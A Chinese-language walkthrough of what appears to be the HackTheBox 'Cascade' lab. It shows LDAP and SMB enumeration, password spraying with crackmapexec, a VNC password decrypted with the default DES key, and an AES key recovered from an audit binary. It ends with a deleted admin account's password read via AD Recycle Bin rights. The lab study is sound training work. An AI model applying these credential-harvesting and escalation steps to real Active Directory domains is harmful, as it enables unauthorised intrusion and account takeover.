初始权限获取
常规端口扫描,记住WinRM(TCP 5985)是打开的
枚举了smb,rpc
接着枚举 LDAP,首先我将获取命名上下文:
root@kali# ldapsearch -h 10.10.10.182 -x -s base namingcontexts
如果我只想找到人,我可以提供一个查询::
ldapsearch -h 10.10.10.182 -x -b "DC=cascade,DC=local" '(objectClass=person)' > ldap-people
通过查看数据,Ryan Thompson 在最后有一个有趣的额外数据项cascadeLegacyPwd
:
我可以将值解码为rY4n5eva
:
root@kali# echo clk0bjVldmE= | base64 -d rY4n5eva
我尝试通过 WinRM 连接,但没有成功。
root@kali# crackmapexec winrm 10.10.10.182 -u r.thompson -p rY4n5eva WINRM 10.10.10.182 5985 CASC-DC1 [*] http://10.10.10.182:5985/wsman WINRM 10.10.10.182 5985 CASC-DC1 [-] CASCADE\r.thompson:rY4n5eva "Failed to authenticate the user r.thompson with ntlm"
使用从 LDAP 收集的密码,可以看到更多共享:
root@kali# crackmapexec smb -u r.thompson -p rY4n5eva --shares 10.10.10.182
recurse on
recurse ON
:该命令启用递归操作。如果执行复制或下载文件等操作,该命令也会影响子目录中的文件。
prompt off
ls
mget *
枚举文件
从收集到的信息来看,最引起我兴趣的文件是“VNC Install.reg”,因为 VNC 是一个远程软件。也因为它位于s.smith文件夹中。
cat IT/Temp/s.smith/VNC\ Install.reg
你知道什么……?另一个编码密码!这次,它是十六进制编码的,所以我使用以下命令对其进行解码:
echo "6bcf2a4b6e5aca0f" | xxd -r -p && echo ''
它有效,但密码看起来已加密。这是因为这是 VNC 密码。
解密vnc密码
但是,有一个技巧可以使用默认加密密钥和 open-ssl 单行代码来解码 VNC 密码。
echo -n "6bcf2a4b6e5aca0f" | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d -provider legacy -provider default | hexdump -Cv
这句出现报错,用下面这句
可以尝试删除-provider legacy -provider default
echo -n "6bcf2a4b6e5aca0f" | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv
接下来,我使用 clangmapexec 再次检查每个用户的密码。
crackmapexec smb 10.10.10.182 -d cascade.local -u ./users.txt -p sT333ve2 --continue-on-success
这确认了该密码属于s.smith
提权
其余三个要检查的文件是:
-
IT/电子邮件档案/Meeting_Notes_June_2018.html
-
IT/日志/Ark AD 回收站/ArkAdRecycleBin.log
-
IT/日志/DC/dcdiag.log
由于该文件是 HTML 文件,因此可以在终端上使用cat或在浏览器中读取它。我决定在浏览器中检查它,看看它的渲染效果是否“漂亮”。
firefox "IT/Email Archives/Meeting_Notes_June_2018.html"
很有意思!我们可以看到 TempAdmin 帐户已被删除的提示,但密码与实际管理员帐户相同。
基本上,这告诉我,找到 TempAdmin 的密码将使我能够以管理员帐户访问主机。
下一个要检查的文件是“ArkAdRecycleBin.log”
cat "IT/Logs/Ark AD Recycle Bin/ArkAdRecycleBin.log"
这个文件也很有趣。它告诉我们,他们是一个用于删除用户的程序,并且以ArkSvc帐户运行。
这里有两件重要的事情。首先,该程序作为服务帐户运行,这意味着它需要以某种方式验证该用户的身份(脚本中的密码?)。其次,我们可以看到该程序删除了TempAdmin帐户,该帐户的密码与实际管理员帐户的密码相同。
此外,据观察,ArkSvc帐户是AD 回收站组的一部分,这可能是该程序所需要的。此外,该帐户位于“AD Recycle Bin”组中,并且可以使用 WinRM 远程管理 DC。
最后,我们要检查“dcdiag.log”文件。
cat "IT/Logs/DCs/dcdiag.log"
然而,查看此文件,它似乎是带有“通过或失败”消息的诊断测试 - 没有从输出中提取任何有趣的内容。
现在已经完全枚举了共享,我决定继续前进,看看我作为用户s.smith可以做什么。
现在我确认密码对于用户s.smith是有效的,我可以轻松地在 WinRM 上站稳脚跟。
net user s.smith
用户s.smith也在“Audit Share”组中。
看一下net localgroup "Audit Share"
只有用户s.smith
通过smb获得文件枚举数据库
早些时候,我们发现有一个名为Audit$的
smbclient \\10.10.10.182\Audit$ -U 'cascade.local\s.smith' recurse on
prompt off
ls
mget *
首先看到的是DB\Audit.db
。这是一个 SQLite3 数据库:
root@kali# file Audit.db Audit.db: SQLite 3.x database, last written using SQLite version 3027002
我转储了三个表中的所有数据:
root@kali# sqlite3 Audit.db SQLite version 3.31.1 2020-01-27 19:55:54 Enter ".help" for usage hints. sqlite> .tables DeletedUserAudit Ldap Misc sqlite> select * from DeletedUserAudit; 6|test|Test DEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d|CN=Test\0ADEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d,CN=Deleted Objects,DC=cascade,DC=local 7|deleted|deleted guy DEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef|CN=deleted guy\0ADEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef,CN=Deleted Objects,DC=cascade,DC=local 9|TempAdmin|TempAdmin DEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a|CN=TempAdmin\0ADEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a,CN=Deleted Objects,DC=cascade,DC=local sqlite> select * from Ldap; 1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local sqlite> select * from Misc;
没有什么特别有趣的事情。我认为该Ldap
表中可能有密码,但 Base64 编码的数据无法解码为 ASCII。也许它以某种方式加密了。
逆向(解密该密码)
将CascAudit.exe和CascCrypto.dll文件传输到我的 Windows 实验室计算机。
先看.dll文件
这是一个用于在C#中进行AES加密的简单实现。以下是对代码的解释:
csharpCopy codenamespace CascCrypto { // Crypto类用于包含加密相关的方法 public class Crypto { // EncryptString方法用于对输入的明文字符串进行加密 public static string EncryptString(string Plaintext, string Key) { // 将明文字符串转换为字节数组 byte[] bytes = Encoding.UTF8.GetBytes(Plaintext); // 创建AES实例 Aes aes = Aes.Create(); // 设置AES算法的一些参数 aes.BlockSize = 128; // 指定块大小为128位 aes.KeySize = 128; // 指定密钥大小为128位 // 设置初始化向量(IV),这是AES算法中的一个参数,通常需要和密钥一起使用 aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842"); // 设置加密密钥 aes.Key = Encoding.UTF8.GetBytes(Key); // 设置加密模式,这里使用的是Cipher Block Chaining (CBC) 模式 aes.Mode = CipherMode.CBC; // 创建加密器 ICryptoTransform encryptor = aes.CreateEncryptor(); // 使用加密器对字节数组进行加密 byte[] encryptedBytes = encryptor.TransformFinalBlock(bytes, 0, bytes.Length); // 将加密后的字节数组转换为Base64字符串表示 string result = Convert.ToBase64String(encryptedBytes); // 返回加密后的字符串 return result; } } }
这段代码使用了C#中的Aes
类,该类提供了对高级加密标准 (AES) 算法的实现。在加密过程中,它使用了128位的块大小和密钥大小,采用了Cipher Block Chaining (CBC) 模式。初始化向量 (IV) 和密钥都是使用UTF-8编码的字符串。最终,明文字符串被转换为字节数组,然后通过AES加密器进行加密,并将结果以Base64字符串的形式返回。
此时,我已经掌握了对该密码进行逆向工程所需的大部分信息,其中包括 base64 字符串和静态 IV 值。然而,我需要找到这个难题的最后一块是“key”值。
为此,我决定在dnSpy中打开**CascAudit.exe**,然后查看代码,看看能否找到密钥。
在检查 main() 后不久,在第 31 行发现了密钥:c4scadek3y654321
完美的!这意味着我拥有逆向工程该密码所需的所有内容。
为了对这个密码进行逆向工程,我决定使用一个名为CyberChef的方便工具。
或者
直接在.exe文件中设置断点
它打开与作为参数传递的数据库的 SQLite 连接,从 LDAP 表中读取数据,并解密密码。
我在第 53 行 SQL 连接关闭的地方设置了一个断点。然后我进入 Debug -> Start Debugging…,并将 Argument 设置为我有以下内容副本的位置 Audit.db
:
点击“确定”后,它运行到断点,我可以在“本地”窗口中看到解密的密码:
根据 SQLite DB 中的行,此密码w3lc0meFr31nd
可能与帐户 arksvc 配对。
crackmapexec winrm 10.10.10.182 -u arksvc -p w3lc0meFr31nd
AD Recycle Bin提权
arksvc 也属于一些有趣的组:
*Evil-WinRM* PS C:\> net user arksvc User name arksvc Full Name ArkSvc Comment User's comment Country code 000 (System Default) Account active Yes Account expires Never Password last set 1/9/2020 5:18:20 PM Password expires Never Password changeable 1/9/2020 5:18:20 PM Password required Yes User may change password No Workstations allowed All Logon script User profile Home directory Last logon 3/30/2020 12:37:25 PM Logon hours allowed All Local Group Memberships *AD Recycle Bin *IT *Remote Management Use Global Group memberships *Domain Users The command completed successfully.
AD Recycle Bin
是一个著名的Windows小组。[Active AD Recycle Bin
是一个著名的Windows小组。Active Directory 对象恢复(或回收站)是 Server 2008 中添加的一项功能,允许管理员恢复已删除的项目,就像回收站恢复文件一样。链接的文章提供了一个 PowerShell 命令来查询域中所有已删除的对象:
*Evil-WinRM* PS C:\> Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects Deleted : True DistinguishedName : CN=CASC-WS1\0ADEL:6d97daa4-2e82-4946-a11e-f91fa18bfabe,CN=Deleted Objects,DC=cascade,DC=local Name : CASC-WS1 DEL:6d97daa4-2e82-4946-a11e-f91fa18bfabe ObjectClass : computer ObjectGUID : 6d97daa4-2e82-4946-a11e-f91fa18bfabe Deleted : True DistinguishedName : CN=Scheduled Tasks\0ADEL:13375728-5ddb-4137-b8b8-b9041d1d3fd2,CN=Deleted Objects,DC=cascade,DC=local Name : Scheduled Tasks DEL:13375728-5ddb-4137-b8b8-b9041d1d3fd2 ObjectClass : group ObjectGUID : 13375728-5ddb-4137-b8b8-b9041d1d3fd2 Deleted : True DistinguishedName : CN={A403B701-A528-4685-A816-FDEE32BDDCBA}\0ADEL:ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e,CN=Deleted Objects,DC=cascade,DC=local Name : {A403B701-A528-4685-A816-FDEE32BDDCBA} DEL:ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e ObjectClass : groupPolicyContainer ObjectGUID : ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e Deleted : True DistinguishedName : CN=Machine\0ADEL:93c23674-e411-400b-bb9f-c0340bda5a34,CN=Deleted Objects,DC=cascade,DC=local Name : Machine DEL:93c23674-e411-400b-bb9f-c0340bda5a34 ObjectClass : container ObjectGUID : 93c23674-e411-400b-bb9f-c0340bda5a34 Deleted : True DistinguishedName : CN=User\0ADEL:746385f2-e3a0-4252-b83a-5a206da0ed88,CN=Deleted Objects,DC=cascade,DC=local Name : User DEL:746385f2-e3a0-4252-b83a-5a206da0ed88 ObjectClass : container ObjectGUID : 746385f2-e3a0-4252-b83a-5a206da0ed88 Deleted : True DistinguishedName : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local Name : TempAdmin DEL:f0cc344d-31e0-4866-bceb-a842791ca059 ObjectClass : user ObjectGUID : f0cc344d-31e0-4866-bceb-a842791ca059
最后一个非常有趣,因为它是我之前发现的旧电子邮件中提到的临时管理帐户(其中还说它使用与普通管理员帐户相同的密码)。
我可以获得该帐户的所有详细信息:
*Evil-WinRM* PS C:\> Get-ADObject -filter { SAMAccountName -eq "TempAdmin" } -includeDeletedObjects -property * accountExpires : 9223372036854775807 badPasswordTime : 0 badPwdCount : 0 CanonicalName : cascade.local/Deleted Objects/TempAdmin DEL:f0cc344d-31e0-4866-bceb-a842791ca059 cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz CN : TempAdmin DEL:f0cc344d-31e0-4866-bceb-a842791ca059 codePage : 0 countryCode : 0 Created : 1/27/2020 3:23:08 AM createTimeStamp : 1/27/2020 3:23:08 AM Deleted : True Description : DisplayName : TempAdmin DistinguishedName : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local dSCorePropagationData : {1/27/2020 3:23:08 AM, 1/1/1601 12:00:00 AM} givenName : TempAdmin instanceType : 4 isDeleted : True LastKnownParent : OU=Users,OU=UK,DC=cascade,DC=local lastLogoff : 0 lastLogon : 0 logonCount : 0 Modified : 1/27/2020 3:24:34 AM modifyTimeStamp : 1/27/2020 3:24:34 AM msDS-LastKnownRDN : TempAdmin Name : TempAdmin DEL:f0cc344d-31e0-4866-bceb-a842791ca059 nTSecurityDescriptor : System.DirectoryServices.ActiveDirectorySecurity ObjectCategory : ObjectClass : user ObjectGUID : f0cc344d-31e0-4866-bceb-a842791ca059 objectSid : S-1-5-21-3332504370-1206983947-1165150453-1136 primaryGroupID : 513 ProtectedFromAccidentalDeletion : False pwdLastSet : 132245689883479503 sAMAccountName : TempAdmin sDRightsEffective : 0 userAccountControl : 66048 userPrincipalName : TempAdmin@cascade.local uSNChanged : 237705 uSNCreated : 237695 whenChanged : 1/27/2020 3:24:34 AM whenCreated : 1/27/2020 3:23:08 AM
立刻就cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz
跳了出来。它解码为baCT3r1aN00dles
:
root@kali# echo YmFDVDNyMWFOMDBkbGVz | base64 -d baCT3r1aN00dles